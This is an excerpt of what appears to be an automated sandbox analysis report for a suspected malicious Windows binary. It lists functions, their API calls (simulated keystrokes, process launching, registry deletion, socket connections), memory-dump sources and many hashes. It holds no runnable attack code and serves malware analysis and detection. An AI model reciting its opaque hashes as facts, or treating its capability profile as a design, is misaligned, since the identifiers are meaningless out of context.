Instruction ID: aa869b69f16e1b46d5da20b4793af7f47379ffb095b819026530e0abb0912f58
Opcode Fuzzy Hash: 506504faebe8a6a0b01e9163c2f71b058f00bba8477e1b0258cf744f50e3a795
Instruction Fuzzy Hash: 09715B70920119EFCB05DF98CC49ABEBB79FF85314F14C159F915AA251C734AA61CFA0

Function 002BB60B Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00BA23F8), ref: 002BB6A5
IsWindowEnabled.USER32(00BA23F8), ref: 002BB6B1
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 002BB795
SendMessageW.USER32(00BA23F8,000000B0,?,?), ref: 002BB7CC
IsDlgButtonChecked.USER32(?,?), ref: 002BB809
GetWindowLongW.USER32(00BA23F8,000000EC), ref: 002BB82B
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 002BB843

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: ef7a24ae72fe466839c4529e6aaaadafe338345f2f2e05f37fcb517baeb8dc8b
Instruction ID: 32af022e394751afa4af651aa3db7588b56a5e2c73124fae5ba1b8c5eb9b41cc
Opcode Fuzzy Hash: ef7a24ae72fe466839c4529e6aaaadafe338345f2f2e05f37fcb517baeb8dc8b
Instruction Fuzzy Hash: 9B71C435620205AFDB229F65CC98FFABBB9FF49380F140069E95597261CBB1AC60DF50

Function 002AF732 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002AF75C
_memset.LIBCMT ref: 002AF825
ShellExecuteExW.SHELL32(?), ref: 002AF86A

Part of subcall function 00239997: __itow.LIBCMT ref: 002399C2
Part of subcall function 00239997: __swprintf.LIBCMT ref: 00239A0C

Part of subcall function 0024FEC6: _wcscpy.LIBCMT ref: 0024FEE9

GetProcessId.KERNEL32(00000000), ref: 002AF8E1
CloseHandle.KERNEL32(00000000), ref: 002AF910

Strings

@, xrefs: 002AF839

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 9a36ff72004be6807bab06061b984c099f7202922c7f6918ae1085ce6abd5888
Instruction ID: b0761e6beac829c3c59ad786109e15593bb0959d7e988aee5c5babafd7aaa123
Opcode Fuzzy Hash: 9a36ff72004be6807bab06061b984c099f7202922c7f6918ae1085ce6abd5888
Instruction Fuzzy Hash: A561AFB5A10619DFCB14EF94C984AAEBBF4FF49310F148469E846AB351CB34AD60CF90

Function 0029145D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0029149C
GetKeyboardState.USER32(?), ref: 002914B1
SetKeyboardState.USER32(?), ref: 00291512
PostMessageW.USER32(?,00000101,00000010,?), ref: 00291540
PostMessageW.USER32(?,00000101,00000011,?), ref: 0029155F
PostMessageW.USER32(?,00000101,00000012,?), ref: 002915A5
PostMessageW.USER32(?,00000101,0000005B,?), ref: 002915C8

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 70c328355af031e1079f9bafced739241e786cbd9789e3fcd315cad4a15985d3
Instruction ID: 082090dc843dd5f9645fc02c42ade9e2ae2cea67620d37e4056b77fb79eaa31c
Opcode Fuzzy Hash: 70c328355af031e1079f9bafced739241e786cbd9789e3fcd315cad4a15985d3
Instruction Fuzzy Hash: 5A5103A0A243D73EFF364A368C45BBABEA95B46304F098589E1D5458D2C3D4ECB4D750

Function 00291276 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 002912B5
GetKeyboardState.USER32(?), ref: 002912CA
SetKeyboardState.USER32(?), ref: 0029132B
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00291357
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00291374
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 002913B8
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 002913D9

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 455acb373c35d16a4b32856fe7cf064f0af8fc0dbf807ca7b4c6a1bb89e268ca
Instruction ID: 075944fd94ba9d7861097ef0049f270ff587d5cb75fec390bda3457da121f619
Opcode Fuzzy Hash: 455acb373c35d16a4b32856fe7cf064f0af8fc0dbf807ca7b4c6a1bb89e268ca
Instruction Fuzzy Hash: 2351F3A09247D73DFF328B268C45BBABFA95F06300F0885C9E1D8468C2D394ACB4D764

Function 0029589F Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 002958AC
_wcsncpy.LIBCMT ref: 002958E1
_wcsncpy.LIBCMT ref: 00295913
_wcsncpy.LIBCMT ref: 00295946
_wcsncpy.LIBCMT ref: 00295988
_wcsncpy.LIBCMT ref: 002959C2
_wcsncpy.LIBCMT ref: 002959F1

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 0a09367d07739b1494d21bc1017549fa87f2cb2058f67efe4b2fba0784729a42
Instruction ID: c0cf8627841acdb62b466417a03ab5f4ea15e335c49992c49b60b0d426628edc
Opcode Fuzzy Hash: 0a09367d07739b1494d21bc1017549fa87f2cb2058f67efe4b2fba0784729a42
Instruction Fuzzy Hash: 86419366D30528B6DB11FBB488869CFB3AC9F05311F509552FD18E3121E634E768CBAD

Function 002938AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 002948AA: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,002938D3,?), ref: 002948C7

Part of subcall function 002948AA: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,002938D3,?), ref: 002948E0

lstrcmpiW.KERNEL32(?,?), ref: 002938F3
_wcscmp.LIBCMT ref: 0029390F
MoveFileW.KERNEL32(?,?), ref: 00293927
_wcscat.LIBCMT ref: 0029396F
SHFileOperationW.SHELL32(?), ref: 002939DB

Strings

\*.*, xrefs: 00293969

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 6e428cf570d95cb55bf6fa4c9ea9f586cb2ce742e099e501db54ca2a81c8516f
Instruction ID: 142b5673c348fef3ec27f2ec23a3560a8b824c7637ac1590f787ae5a795292fa
Opcode Fuzzy Hash: 6e428cf570d95cb55bf6fa4c9ea9f586cb2ce742e099e501db54ca2a81c8516f
Instruction Fuzzy Hash: FE41B3B241C3859EDB51EF64C845ADFB7E8AF89340F00092EF489C3151EA74D65CCB52

Function 002B7500 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002B7519
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 002B75C0
IsMenu.USER32(?), ref: 002B75D8
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 002B7620
DrawMenuBar.USER32 ref: 002B7633

Strings

0, xrefs: 002B750D

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: b5848947197a6576819dc9dab1907c0518bc62410b805a6a0f3a982bccdfe562
Instruction ID: 0f8f52ac2a12842b3d0319bb6b5b0382317b168bbd4030b2e218f34e7a30b34d
Opcode Fuzzy Hash: b5848947197a6576819dc9dab1907c0518bc62410b805a6a0f3a982bccdfe562
Instruction Fuzzy Hash: E1414A75A14609EFDB20DF58E884EEABBF8FB44390F448129ED2597250D730AD64DFA0

Function 002B122D Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 002B125C
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 002B1286
FreeLibrary.KERNEL32(00000000), ref: 002B133D

Part of subcall function 002B122D: RegCloseKey.ADVAPI32(?), ref: 002B12A3
Part of subcall function 002B122D: FreeLibrary.KERNEL32(?), ref: 002B12F5
Part of subcall function 002B122D: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 002B1318

RegDeleteKeyW.ADVAPI32(?,?), ref: 002B12E0

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 5d805a0b13a3bc5c421514d9cd29fbce91549bcd68a9183bb2e6014886453df3
Instruction ID: b95574dc48cf1d3833ee61a3aedaa6952608f8974ad02e582467503869863174
Opcode Fuzzy Hash: 5d805a0b13a3bc5c421514d9cd29fbce91549bcd68a9183bb2e6014886453df3
Instruction Fuzzy Hash: CC316D71910119BFDB149F94EC99AFEB7BCEF08340F4005AAF901E2150EB749FA59AA0

Function 002B653C Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 002B655B
GetWindowLongW.USER32(00BA23F8,000000F0), ref: 002B658E
GetWindowLongW.USER32(00BA23F8,000000F0), ref: 002B65C3
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 002B65F5
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 002B661F
GetWindowLongW.USER32(00000000,000000F0), ref: 002B6630
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 002B664A

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 2aee8683171b244f976f369a14bd149300e6964731ce456e84c05e3748cbaed0
Instruction ID: 718b93ddde62beee2e42b29746d28d01c15e0bf1c5d32c6a97fdc362ba4a9ed4
Opcode Fuzzy Hash: 2aee8683171b244f976f369a14bd149300e6964731ce456e84c05e3748cbaed0
Instruction Fuzzy Hash: 74310530614115AFDB308F18EC8DFA537E5FB493A0F580168FA118B2B6CB66AC64DB51

Function 002A6486 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 002A80A0: inet_addr.WS2_32(00000000), ref: 002A80CB

socket.WS2_32(00000002,00000001,00000006), ref: 002A64D9
WSAGetLastError.WS2_32(00000000), ref: 002A64E8
ioctlsocket.WS2_32(00000000,8004667E,00000000), ref: 002A6521
connect.WSOCK32(00000000,?,00000010), ref: 002A652A
WSAGetLastError.WS2_32 ref: 002A6534
closesocket.WS2_32(00000000), ref: 002A655D
ioctlsocket.WS2_32(00000000,8004667E,00000000), ref: 002A6576

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 6f7b785616cb47d3895625e5fed0b0aa5d715fd76e07058e455deb46a6c0bfb4
Instruction ID: 2db97235ea81a47e446378f5a91efe4d9bf1edd3d7c4bbc4bc6944e151677f24
Opcode Fuzzy Hash: 6f7b785616cb47d3895625e5fed0b0aa5d715fd76e07058e455deb46a6c0bfb4
Instruction Fuzzy Hash: A631E471620218AFDB10AF24DC89BBE7BBDEB46710F044169FD4997290CF70AD54CB61

Function 0028E0B5 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0028E0FA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0028E120
SysAllocString.OLEAUT32(00000000), ref: 0028E123
SysAllocString.OLEAUT32 ref: 0028E144
SysFreeString.OLEAUT32 ref: 0028E14D
StringFromGUID2.OLE32(?,?,00000028), ref: 0028E167
SysAllocString.OLEAUT32(?), ref: 0028E175

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: defbb0b3b70c70bbd65f192349ec4e0d8b6ad4cad7f425403f98671c4aa690b4
Instruction ID: f7e1796d2d3b959c44f89849b71c44b6090105ce4b7346f72a8d2392754c8158
Opcode Fuzzy Hash: defbb0b3b70c70bbd65f192349ec4e0d8b6ad4cad7f425403f98671c4aa690b4
Instruction Fuzzy Hash: 4621B635211109AFDF10AFA8DC8DCAB77FCEB09760B018235FA18CB2A4DA70DC518B64

Function 002BB405 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00232612: GetWindowLongW.USER32(?,000000EB), ref: 00232623

GetWindowLongW.USER32(?,000000F0), ref: 002BB44C
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 002BB471
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 002BB489
GetSystemMetrics.USER32(00000004), ref: 002BB4B2
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047), ref: 002BB4D0

Strings

0066894dd2ba6c000000668955d433c0668945d6c745f000000000c745f800000000c745e400000000c745dc000000008d8d38feffff51e881d9ffffb930000000, xrefs: 002BB455, 002BB49D

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID: 0066894dd2ba6c000000668955d433c0668945d6c745f000000000c745f800000000c745e400000000c745dc000000008d8d38feffff51e881d9ffffb930000000
API String ID: 2294984445-2058155810
Opcode ID: 1638e47db09645b334459d47971c376fd948e33a61cdd5b7c33f642253b43ec9
Instruction ID: 848935291f3fb830973440e3254e7368104a38ef8509bdf543b3f90a940afa7f
Opcode Fuzzy Hash: 1638e47db09645b334459d47971c376fd948e33a61cdd5b7c33f642253b43ec9
Instruction Fuzzy Hash: 84219471920216AFCB219F38DC18BAA37B4FB057A1F104738F966C21E1E7B09820DB50

Function 002B783C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00231D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00231D73
Part of subcall function 00231D35: GetStockObject.GDI32(00000011), ref: 00231D87
Part of subcall function 00231D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00231D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 002B78A1
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 002B78AE
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 002B78B9
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 002B78C8
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 002B78D4

Strings

Msctls_Progress32, xrefs: 002B7872

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 3feba8816469948a9348da69ce9ea2dac612ef8f95e6839b2b230b3e8361f042
Instruction ID: ce2569fb7b97748843d9cb986cc8b5c662fed1ee101096717853509adf1e18e5
Opcode Fuzzy Hash: 3feba8816469948a9348da69ce9ea2dac612ef8f95e6839b2b230b3e8361f042
Instruction Fuzzy Hash: CD11B6B216011ABFEF159F60CC85EE77F5DEF48798F014115FA04A20A0C771AC21DBA0

Function 002541C9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize), ref: 002541E3
GetProcAddress.KERNEL32(00000000), ref: 002541EA
RtlEncodePointer.NTDLL(00000000), ref: 002541F6
RtlDecodePointer.NTDLL(00000001), ref: 00254213

Strings

combase.dll, xrefs: 002541DE
RoInitialize, xrefs: 002541D2

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
